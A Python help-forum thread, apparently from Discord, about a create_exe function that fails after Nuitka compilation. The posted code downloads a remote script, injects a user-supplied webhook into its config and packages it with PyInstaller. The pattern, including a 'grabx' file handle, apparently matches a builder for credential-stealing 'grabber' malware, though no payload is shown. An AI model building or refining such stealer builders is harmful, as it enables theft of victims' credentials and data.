#๐ def create_exe not working in compiled version of .py script
23 messages ยท Page 1 of 1 (latest)
@severe dome
Remember to:
- Ask your Python question, not if you can ask or if there's an expert who can help.
- Show a code sample as text (rather than a screenshot) and the error message, if you've got one.
- Explain what you expect to happen and what actually happens.
:warning: Do not pip install anything that isn't related to your question, especially if asked to over DMs.
also i dont think its because of os.remove() because it works fine when running .py
good day
hi
i clicked by accident, but what is your issue, i dont have much experience with nuitka though
yes that makes sense for it to work
but after compiling main.py in nuitka it just stops working
like skips whole function
how do you know its not working though?
because i tested it
what kind of error do you get from subprocess?
nothing
Have you tried debugging your code?
def createfile():
name = input(f' {m}[{w}FILENAME{m}] > {w}')
webhook = input(f' {m}[{w}WEBHOOK{m}] > {lb}[INPUT HIDDEN]{black}')
src = requests.get('link')
with open(f'assets/{name}.py', 'wb')as grabx:
grabx.write(src.content)
with open(f'assets/{name}.py', 'r') as file:
filedata = file.read()
text_to_replace = '''__CONFIG__ = {webhook}'''
new_text = f'''__CONFIG__ = {webhook}'''
filedata = filedata.replace(text_to_replace, new_text)
with open(f'assets/{name}.py', 'w') as file:
file.write(filedata)
def create_exe(script_file):
script_path = os.path.abspath(script_file)
script_dir = os.path.dirname(script_path)
print(f"creating {name}.exe!", end='', flush=True)
with subprocess.Popen([sys.executable, "-m", "PyInstaller", "--onefile", script_path],
cwd=script_dir,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE) as process:
stdout, stderr = process.communicate()
create_exe(f'assets/{name}.py')
os.remove(f'assets/{name}.py')
print(f'created {name.exe}')
input(f'go back')
this is the command
nuitka --follow-imports --output-dir=dist --onefile main.py
error when running compiled version with nuitka
error during pyinstaller execution the system cannot find the file specified
when i try running .py file it works fine.
why are you using nuitka and pyinstaller together?
im compiling the main script with nuitka, pyinstaller is faster so thats why im using it on the create_exe func
that might be the problem
i fixed it
This help channel has been closed and it's no longer possible to send messages here. If your question wasn't answered, feel free to create a new post in #1035199133436354600. To maximize your chances of getting a response, check out this guide on asking good questions.